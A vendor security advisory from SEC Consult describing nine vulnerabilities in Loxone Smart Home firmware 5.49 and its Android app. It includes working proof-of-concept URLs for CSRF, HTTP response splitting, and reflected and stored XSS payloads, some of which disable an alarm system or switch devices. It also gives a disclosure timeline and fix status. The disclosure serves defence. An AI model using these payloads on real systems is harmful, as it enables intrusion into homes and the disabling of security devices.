Loxone Smart Home CSRF / XSS / DoS / Credential Leakage
Posted on 28 February 2015
SEC Consult Vulnerability Lab Security Advisory < 20150227-0 > ======================================================================= title: Multiple vulnerabilities product: Loxone Smart Home vulnerable version: Firmware: 5.49; Android-App: 3.4.1 fixed version: 6.3 impact: High homepage: http://www.loxone.com found: 2014-07-02 by: Daniel Schwarz (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Berlin - Frankfurt/Main - Montreal - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com Manuel Deticek, Alexander Inführ, Robert Pölzelbauer FH-St.Pölten - Institut für IT Sicherheitsforschung http://www.fhstp.ac.at ======================================================================= Vendor & product description: ----------------------------- "Loxone Electronics was founded in 2008. Our focus is the development and production of control solutions for all homes. Our aim is to make home automation interesting, affordable and accessible for everyone." URL: http://www.loxone.com/enus/company/about-us.html "The Loxone Smart Home gives the owner full control of every device or task using a wall switch, phone or smart tablet. Control and automte areas such as: Lighting, Climate, Security, Audio/Video, Shading, and event Pool and irrigation systems. Your system will adapt all areas of your home providing complete smart home automation." URL: http://www.loxone.com/enus/smart-home/overview.html Business recommendation: ------------------------ The Loxone Smart Home has multiple design and implementation flaws which could be used by an attacker to: 1) cause a denial of service, 2) steal the user's credentials, 3) execute JavaScript code in the user's browser or 4) control arbitrary devices connected to the system. It is recommended by SEC Consult not to use this system until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) Unencrypted data-transmission All available communication is unencrypted and could therefore get intercepted and manipulated by a man-in-the-middle attacker. This enables an attacker to control every device within the smart home system. Furthermore a plaintext authentication mechanism is supported which enables an attacker to steal user-credentials. 2) Missing state-of-the-art http-header The http-headers set doesn't comply with the current state-of-the-art. Therefore it is possible to embed the webinterface within an iframe and misuse it for phishing attacks. Furthermore no CSP-Headers are set in order to prevent cross-site scripting attacks. 3) Cross-site request-forgery (XSRF) The system is vulnerable to XSRF attacks. If an attacker is able to lure a user into clicking a crafted link or by embedding such a link within web pages (e.g. discussion forums) he could control arbitrary devices within the smart home system. 4) HTTP Response Splitting The backend of the smart home system is vulnerable to HTTP response splitting attacks. If an attacker is able to lure a user into clicking a crafted link he could arbitrarily manipulate the server's response (e.g. injection of JavaScript code). 5) Multiple reflected cross-site scripting (XSS) vulnerabilities The admin webinterface of Loxone Smart Home is vulnerable to multiple reflected cross-site scripting attacks. If an attacker is able to lure a user into clicking a crafted link he could execute arbitrary JavaScript-code in the user's browser. Thereby he could steal the user's credentials or control arbitrary devices within the smart home system. To exploit this vulnerability it isn't mandatory for the user to be authenticated. Unauthenticated XSS vulnerabilities exist as well (by exploiting the HTTP Response Splitting vulnerability described in 4) as authenticated ones. 6) Stored cross-site scripting vulnerability Beside the already mentioned reflected XSS vulnerabilities the Loxone Smart Home System also contains a stored XSS vulnerability. An authenticated attacker is able to persistently inject JavaScript code in the user webinterface. This code gets executed in the context of other users at every login as well as by calling a certain functionality of the webinterface. The injection of the code itself could either be done via the webinterface or could also be conducted through the already mentioned XSRF vulnerability. Therefore it is not necessary for the attacker to login explicitly. After circumventing some filtering-obstacles an attacker for example could be able to automatically disable a connected alarm-system everyday at midnight. 7) Insecure storage of credentials by the remember-me function The user webinterface contains a remember-me functionality which stores the user credentials in an insecure way. Basically they get stored encrypted, but the key could be requested unauthenticated by everyone. In combination with one of the already mentioned XSS vulnerabilities it is possible to steal the user credentials without the user's notice. 8) Credentials stored in cleartext on Android devices The user credentials get stored in cleartext after the first login via the Loxone Android app. On a rooted device the credentials could get stolen (e.g. by malware). The user has to manually "Logout" or clear the configuration to delete the credentials from the app storage. 9) Denial of service An attacker could perform a denial of service attack with simple measures (e.g. synflood, etc.). During and after such an attack the system isn't accessible via the network interface and couldn't be controlled anymore. Furthermore the system doesn't recover after the attack and has to be manually restarted in order to work properly. Proof of concept: ----------------- 1) Unencrypted data-transmission The proof of concept code has been removed since no fix is available to mitigate this issue. 2) Missing state-of-the-art http-header The proof of concept code has been removed since no fix is available to mitigate this issue. 3) Cross-site request-forgery (XSRF) Basically all devices are controlled by websocket-requests. E.g. turn on the alarm-system: jdev/sps/io/32a4981e-f5af-11e1-8d4ac9ef1f112e83/on In addition all devices could be controlled by http-basic authenticated GET-requests. An attacker just has to lure a user who is authenticated against the admin interface into clicking the following link in order to disable the device with the id '32a4981e-f5af-11e1-8d4ac9ef1f112e83': http://<server-ip>/dev/sps/io/32a4981e-f5af-11e1-8d4ac9ef1f112e83/off Within the official democase, this device is the alarm system. In accordance to the vendor this vulnerability is basically fixed in version 6.3. It is just possible to alter the ip address of the Smart Home System via this technique, but it should not be possible to control attached devices any more. 4) HTTP Response Splitting Some parts of a request's URL get returned unescaped within the response's authentication-realm. It is possible to cut off the current response-header by injecting the string "%0D%0A%0D%0A". Afterwards a new arbitrary response body could be appended (e.g. some JavaScript code). To reproduce this behaviour it is sufficient to open the following URL as an unauthenticated user: http://<server-ip>/dev/cfg/version%0D%0A%0D%0A%3Chtml%3E%3Cscri pt%3Ealert%28%27XSS%27%29%3C/script%3E%3C/html%3E The server answers with the following response and the injected JavaScript code gets executed: HTTP/1.1 401 Unauthorized Server: Loxone 5.49.3.4 WWW-Authenticate: Basic realm="dev/cfg/version <html><script>alert('XSS')</script><" Content-Type: text/html Content-Length: 93 Connection: close <html><head><title>Loxone Miniserver error</title></head><body>401 Unauthorized</body></html> According to the vendor this issue is basically fixed in version 6.3. 5) Multiple reflected cross-site scripting (XSS) vulnerabilities To reproduce this behavior it is sufficient to open the following URL as an http-authenticated admin user (or enter the credentials when prompted), which will show a popup message and turns on the LED-lights of the loxone democase: http://<server-ip>/dev/sps/io/%22%3E%3Cscript%20xmlns=%27http:% 26%23x2f%3B%26%23x2f%3Bwww.w3.org/1999/xhtml%27%3Ealert%28%27 you%20got%20p0wned%20again%27%29%3b%20r=new%20XMLHttpRequest %28%29;%20r.open%28%27GET%27,%27/dev/sps/io/c447fcde-f5aa-11e1- b157c9ef1f112e83/AI1/on%27,true%29;%20r.send%28%29;%3C/script%3E The server answers with the following response: HTTP/1.1 200 OK Server: Loxone 5.49.3.4 Content-Type: text/xml Content-Length: 301 Keep-Alive: timeout=10, max=1000 Connection: Keep-Alive <?xml version="1.0" encoding="utf-8"?> <LL control="dev/sps/io/"><script xmlns='http://alert'>alert'>www.w3.org/1999/xhtml'>alert('you got p0wned again'); r=new XMLHttpRequest(); r.open('GET','/dev/sps/io/c447fcde-f5aa-11e1- b157c9ef1f112e83/AI1/on',true); r.send();</script>" value="" Code="500"/> According to the vendor this issue is basically fixed in version 6.3. 6) Stored cross-site scripting vulnerability It is possible to permanently store JavaScript code within the backend of the smart home system. This could be achieved by injecting the code in the description field of a new task, created in the webinterface. In combination with the XSRF vulnerability described in 3, this could also be done by sending the following request: http://<server-ip>/dev/sps/addcmd/2015-12- 24%2023:59:00/innocent_testtask%20%3Csvg%20onload=alert%281%29%3 E/32a4981e-f5af-11e1-8d4ac9ef1f112e83/off This payload creates a task which switches off the alarm system at 2015-12-24 23:59. Additionally the description field contains the injected JavaScript payload. This payload gets executed everytime a user logs in to the webinterface or explicitly opens the tasklist. According to the vendor this issue is basically fixed in version 6.3. 7) Insecure storage of credentials by the remember-me function The proof of concept code has been removed since no fix is available to mitigate this issue. 8) Credentials stored in cleartext on android-devices The proof of concept code has been removed since no fix is available to mitigate this issue. 9) Denial of service The primary denial of service attack was conducted by simply running the metasploit-module "synflood". Furthermore it was possible to cause a denial of service in various other ways, e.g. by running a Nmap scan or by sending malformed http-requests (e.g. if "HTTP/1.1" is missing in several requests, the following correct requests don't get processed correctly). According to the vendor this issues are basically fixed in version 6.3. Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in Loxone Smart Home, Firmware-Version 5.49 (official Democase) and Loxone Android App 3.4.1 which were the most recent versions at the time of discovery. Older versions or versions between 5.49 and the current fixed version 6.3 have not been tested and may be affected as well. Vendor contact timeline: ------------------------ The initial vendor contact was performed by the cooperation partner polytechnic university St. Pölten, Austria [FH STP]. 2014-08-11: Contacting vendor through email [FH STP] 2014-09: Release of updated firmware version 6.0 2014-12-19: Coordination between vendor and SEC Consult regarding planned advisory and current state of vulnerabilities by phone and email 2015-01-16: Coordination between vendor and SEC Consult regarding planned advisory and current state of vulnerabilities by phone 2015-02-03: Coordination between vendor and SEC Consult regarding planned advisory and current state of vulnerabilities by email 2015-02-25: Release of updated firmware version 6.3 2015-02-27: Release of security advisory Solution: --------- Update to the latest availble firmware version (6.3): http://www.loxone.com/enus/service/downloads.html The vendor claimed that most of the vulnerabilities have been fixed since version 6.3. The following vulnerabilities haven't been fixed yet: 1) Unencrypted data-transmission 2) Missing state-of-the-art http-header 7) Insecure storage of credentials by the remember-me function (will be fixed in version 6.4) 8) Credentials stored in cleartext on android-devices These statements were not verified by SEC Consult. Workaround: ----------- No workaround available. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Daniel Schwarz / @2015
